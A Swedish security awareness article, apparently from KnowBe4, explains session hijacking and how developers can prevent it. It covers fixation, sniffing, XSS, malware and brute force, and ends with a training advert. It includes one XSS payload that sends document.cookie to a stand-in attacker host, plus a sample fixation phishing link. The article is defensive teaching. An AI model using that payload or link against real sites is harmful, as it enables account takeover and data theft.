Session-cookie stöld är inget nytt
”Session-cookie”-stöld (sessionskapning) är inget nytt tillvägagångssätt då det har använts av hackare under flera år.
Men då fler och fler företag kräver 2FA vid inloggning så fokuserar nu cyberbrottslingarna på det som sker efter att en användare har loggat in. Och detta är ett skrämmande koncept på grund av hur många webbplatser vi loggar in på varje dag. Detta är också ett antal som troligen har ökat stadigt över tid, eftersom fler och fler onlinetjänster blir en del av vår alltmer ”uppkopplade” livsstil. Och eftersom vi lagrar känslig information överallt online idag kan effekterna vara förödande.
Så hur fungerar sessionskapning exakt? Vilka är de olika metoder som angripare kan använda för att utföra det? Och vad kan du göra för att skydda dig mot deras försök?
Vad är en session?
Innan vi går in på kapning av sessioner ska vi först gå igenom vad vi exakt menar med en ”session”. HTTP är i sig ”stateless”, vilket innebär att varje begäran utförs oberoende och utan någon kunskap om de begäranden som kördes tidigare. I praktiken innebär detta att du måste ange ditt användarnamn och lösenord igen för varje sida du tittar på.
Därför behövde utvecklarna skapa ett sätt att spåra kopplingen mellan flera anslutningar från samma användare, i stället för att be användaren att autentisera sig på nytt mellan varje klick i en webbapplikation.
Lösningen är sessioner. De fungerar som en serie interaktioner mellan två enheter, t.ex. din dator och en webbserver. När du loggar in på en applikation skapas en session på servern. Detta upprätthåller kopplingen och refereras till under alla framtida förfrågningar du gör.
Sessions-ID är en viktig del av denna process. De är en sträng, vanligtvis slumpmässig och alfanumerisk, som skickas fram och tillbaka mellan servern och klienten. Beroende på hur webbplatsen är kodad kan du hitta dem i cookies, webbadresser och dolda fält på webbplatser t.ex:
I URL: www.mywebsite.com/view/99D5953G6027693
Lagrat såsom ett dolt fält i en HTML-sida:
input type=”hidden” name=”sessionID” value=”19D5Y3B”
Vad är Session-cookie stöld?
Session hijacking inträffar när en användarsession tas över av en angripare. Som vi diskuterade, när du loggar in på en webbapplikation ställer servern in en tillfällig sessionskaka i din webbläsare.
Detta gör att webbservern kommer ihåg att du är inloggad och autentiserad. Eftersom den här typen av attack kräver att angriparen har kunskap om din sessionscookie kallas den ibland också för cookie-kapning. Det är en av de mest populära metoderna för att angripa klientautentisering på webben.
En hackare måste känna till offrets sessions-ID för att kunna genomföra en sessionskapning. Det kan erhållas på några olika sätt (mer om det senare), bland annat genom att stjäla sessionskakan eller genom att lura användaren att klicka på en skadlig länk som innehåller ett förberett sessions-ID.
Oavsett vilket kan angriparen ta kontroll över sessionen genom att använda det stulna sessions-ID:t i sin egen webbläsarsession. I princip luras servern att tro att angriparens anslutning är densamma som den riktiga användarens ursprungliga session.
Konsekvenserna kan bli ännu värre för större företag eftersom cookies ofta används för att autentisera användare i SSO-system (Single Sign-On). Det innebär att en framgångsrik attack kan ge angriparen tillgång till flera webbapplikationer samtidigt, inklusive finansiella system, kunddatabaser och lagringsplatser som innehåller värdefull immateriell egendom. Det säger sig självt att sessionskapning inte leder till något gott, oavsett vem du är.
Så hur utförs sessionskapning egentligen? Det finns några olika tillvägagångssätt som hackare kan använda sig av.
Så här går det till att stjäla session-cookien
KnowBe4:s Chief Hacking Officer, den numera avlidne Kevin Mitnick, visar i denna video (06:21) hur enkelt det är att stjäla en session-cookie.
Vanliga metoder för kapning av sessioner
Fixering av session
Sessionfixeringsattacker utnyttjar sårbarheten i ett system som gör det möjligt för någon att fixera (dvs. hitta eller ställa in) en annan användares sessions-ID. Denna typ av attack bygger på att webbplatsen accepterar sessions-ID från webbadresser, oftast via nätfiskeförsök. En angripare skickar t.ex. en länk till en utvald användare som innehåller ett visst sessions-ID.
När användaren klickar på länken och loggar in på webbplatsen vet angriparen vilket sessions-ID som används. Det kan sedan användas för att kapa sessionen. Den exakta attacksekvensen är som följer:
- En angripare upptäcker att http://www.unsafewebsite.com/ accepterar alla sessionsidentifierare och inte har någon säkerhetsvalidering.
- Angriparen skickar offret ett phishing-e-postmeddelande med texten ”Hej Mark, kolla in den här nya kontofunktionen från vår bank.” Länken leder offret till http://unsafewebsite.com/login?SID=123456. I det här fallet försöker angriparen fixera sessions-ID:t till 123456.
- Offret klickar på länken och den vanliga inloggningsskärmen dyker upp. Ingenting verkar fel och offret loggar in som vanligt.
- Angriparen kan nu besöka http://unsafewebsite.com/?SID=123456 och ha full tillgång till offrets konto.
Det är i huvudsak det omvända av det scenario vi just diskuterade. Angriparen loggar in offret själv och sedan använder offret webbplatsen med angriparens autentisering. Om offret till exempel bestämmer sig för att köpa något kan angriparen få fram kreditkortsuppgifterna genom att titta på historiska data för kontot.
Session Sniffing
Sessionssniffning innebär att en hackare använder en paketsniffer, t.ex. Wireshark, för att fånga upp och logga paket när de flödar över en nätverksanslutning. Sessionscookies är en del av den här trafiken och med sessionssniffning kan en angripare hitta och stjäla dem.
En vanlig sårbarhet som gör att en webbplats är öppen för sessionssniffning är när SSL/TLS-kryptering endast används på inloggningssidor. Detta hindrar angripare från att se en användares lösenord, men om SSL / TLS inte används på resten av webbplatsen kan sessionskapning inträffa. Hackare kommer att kunna använda paketsniffning för att övervaka trafiken för alla andra i nätverket, vilket inkluderar sessionscookies.
Offentliga Wi-Fi-nätverk är särskilt sårbara för den här typen av sessionskapningsattacker. En hackare kan se det mesta av nätverkstrafiken genom att helt enkelt logga in och använda en paketsniffare eftersom det inte finns någon användarautentisering för nätverket. På samma sätt kan en hackare skapa sin egen accesspunkt och utföra man-in-the-middle-attacker för att få tag på sessions-ID och utföra sessionskapningsattacker.
Cross-Site Scripting
En XSS-attack (cross-site scripting) lurar användarens maskin att köra skadlig kod, även om den tror att den är säker eftersom den till synes kommer från en betrodd server. När skriptet körs låter det hackaren stjäla cookien.
Sårbarheter i server eller applikation utnyttjas för att injicera skript på klientsidan (vanligtvis JavaScript) på webbsidor, vilket leder till att webbläsaren kör koden när den laddar den komprometterade sidan. Om servern inte anger attributet HttpOnly i sessionscookies kan skadliga skript komma åt ditt sessions-ID.
Ett exempel på en cross-site scripting-attack för att utföra sessionskapning skulle vara när en angripare skickar ut e-postmeddelanden med en speciell länk till en känd, betrodd webbplats. Haken är dock att länken också innehåller HTTP-frågeparametrar som utnyttjar en känd sårbarhet för att injicera ett skript.
För sessionskapning kan koden som är en del av XSS-attacken skicka offrets sessionsnyckel till angriparens egen webbplats. Ett exempel:
<http://www.yourbankswebsite.com/search?<script>location.href=’http://www.evilattacker.com/hijacker.php?cookie=’+document.cookie;<script>
Här skulle kommandot document.cookie läsa den aktuella sessionscookien och skicka den till angriparen via kommandot location.href. Detta är ett förenklat exempel, och i en verklig attack skulle länken troligen använda teckenkodning och/eller URL-förkortning för att dölja de misstänkta delarna av länken.
Malware
Skadlig programvara och andra skadliga tredjepartsprogram kan också leda till sessionskapning. Hackare utformar skadlig programvara för att utföra paketsniffning och ställer in den så att den specifikt letar efter sessionskakor. När den hittar en stjäl den den och skickar den till angriparen. Den skadliga programvaran utför i princip en automatiserad session sniffing attack på användaren.
En annan mer direkt metod för att stjäla sessions-ID är att få tillgång till användarens dator, antingen via skadlig kod eller genom att ansluta direkt till den lokalt eller på distans. Därefter kan angriparen navigera till webbläsarens tillfälliga lokala lagringsmapp, eller ”cookie jar”, och ta ut vilken cookie som helst.
Brute Force
Slutligen kan en hackare försöka ta reda på sessions-ID:t på egen hand. Detta kan göras på två olika sätt. Först kan de försöka gissa sig till sessions-ID:t. Detta kan lyckas om sessions-ID:t är baserat på en lättförutsägbar variabel (som vi berörde tidigare), t.ex. användarens IP-adress eller aktuell tid eller datum. Sekventiella sessions-ID användes ofta i webbens barndom men används sällan längre på grund av deras lätt identifierbara mönster.
En brute force-attack kan också användas, där en angripare försöker använda olika sessions-ID:n om och om igen från en lista. Detta är egentligen bara ett möjligt sätt att kapa sessioner om sessions-ID-formatet består av ett relativt kort antal tecken.
Båda dessa angreppsmetoder kan enkelt motverkas genom att rätt algoritm används för att generera sessions-ID. Genom att använda en algoritm som skapar långa sessions-ID:n som består av slumpmässiga bokstäver och siffror blir det nästan omöjligt för en hackare att utföra sessionskapning på dina användare.
Hur förhindrar man session-cookie stöld?
Det finns många olika sätt för hackare att utföra sessionskapningsattacker, men den goda nyheten är att det finns relativt enkla säkerhetsåtgärder och bästa praxis som du kan använda för att skydda dig själv. Olika skyddar mot olika metoder för kapning av sessioner, så du vill aktivera så många av dem som möjligt. Här är några av de vanligaste förebyggande åtgärderna som du vill börja med (riktar sig främst till webbutvecklare):
Använd HTTPS på hela webbplatsen
Som vi har sett är du inte helt säker mot sessionskapning om du bara använder HTTPS på inloggningssidor.Använd SSL/TLS på hela din webbplats för att kryptera all trafik som skickas mellan parterna. Detta inkluderar sessionsnyckeln. HTTPS-everywhere används ofta av stora banker och e-handelssystem eftersom det helt förhindrar sniffningsattacker.
Använd flaggan för säkra cookies
Den säkra flaggan kan ställas in av applikationsservern när den skickar en ny cookie som en del av ett HTTP-svar. Detta talar om för användarens webbläsare att cookien endast ska skickas via HTTPS - den ska aldrig skickas via HTTP. Detta förhindrar att cookies kan ses av angripare när de överförs i klartext.
Använd långa och slumpmässiga sessions-ID
Genom att använda ett långt slumptal eller en sträng som sessions-ID minskar du kraftigt risken för att det kan gissas genom att prova sig fram eller genom en brute force-attack.
Återskapa session-ID efter inloggning
Detta förhindrar sessionsfixering eftersom sessions-ID:t ändras efter att användaren loggat in. Även om angriparen lurar användaren att klicka på en länk med ett fixerat sessions-ID, kommer de inte att kunna göra något viktigt. Omedelbart efter inloggningen kommer deras fixerade sessions-ID att vara värdelöst.
Utför sekundärkontroller
Ytterligare kontroller kan hjälpa till att verifiera användarens identitet. En server kan t.ex. kontrollera att användarens IP-adress för en viss begäran matchar den IP-adress som användes för den föregående begäran. Det är dock värt att notera att den här specifika lösningen kan skapa problem för dem vars IP-adress ändras, och den förhindrar inte attacker från någon som delar samma IP-adress.
Ändra cookie-värdet
Det finns tjänster som kan ändra värdet på cookien efter varje begäran. Eftersom du inte direkt kan ändra en cookie skapar du tekniskt sett en ny cookie med nya värden och skickar den till webbläsaren för att skriva över den gamla versionen. Detta minskar kraftigt det fönster inom vilket en attack kan ske och gör det lättare att identifiera om en attack har ägt rum. Tänk dock på att två nära i tiden liggande förfrågningar från samma klient eventuellt kan leda till ett token check-fel. I så fall kan du i stället ändra cookiens utgångstid till den kortaste tid som inte orsakar fel.
Logga ut när du är klar
Ta det säkra före det osäkra och logga ut från webbplatser när du är klar med att använda dem.
Använda Anti-Malware
Använd alltid programvara mot skadlig programvara, både på serversidan och på klientsidan. Detta förhindrar att programvara som stjäl kakor kommer in i ditt system.
Acceptera inte sessions-ID från GET/POST-variabler
Sessions-ID:n i webbadresser (frågesträngar eller GET-variabler) eller POST-variabler gör det enkelt att kapa sessioner. Som vi har sett är det vanligt att angripare skapar länkar eller formulär som ställer in dessa variabler.
Acceptera endast servergenererade sessions-ID
Det här är en enkel fråga. Acceptera endast sessions-ID:n från en betrodd källa, i det här fallet servern.
Sessions-ID:n i webbadresser (frågesträngar eller GET-variabler) eller POST-variabler gör det enkelt att kapa sessioner. Som vi har sett är det vanligt att angripare skapar länkar eller formulär som ställer in dessa variabler.
Time-out för inaktiva sessioner
Detta minskar tidsfönstret för en attack och förhindrar en hackare från att komma åt en maskin som har lämnats obevakad.
Rensa misstänkta hänvisningar
När en webbläsare besöker en sida ställer den in Referrer-headern. Den innehåller den länk som du följde för att komma till sidan. Ett sätt att bekämpa sessionskapning är att kontrollera hänvisningsrubriken och ta bort sessionen om användaren kommer från en extern webbplats.
Slutord
Session-cookie stöld är enkelt att genomföra i publika, öppna miljöer, t.ex. hotell, då trafiken inte är krypterad.
Kevin Mitnick rekommenderar i slutet av ovanstående video:
”- Naturligtvis måste du ha användarutbildning och träning, det är en no-brainer, men du måste också genomföra simulerade phishing-attacker så att du kan vaccinera dina användare mot denna typ av risk. Och ännu viktigare, du måste Stanna upp - Titta - Tänka efter innan du klickar på den där länken.”
Utbilda era användare
KnowBe4's säkerhetsutbildning, som består av världens största bibliotek av innehåll, är ML- och AI-baserat och stödjer 30+ olika språk, är plattformen för att säkra det mänskliga lagret av cyberförsvaret.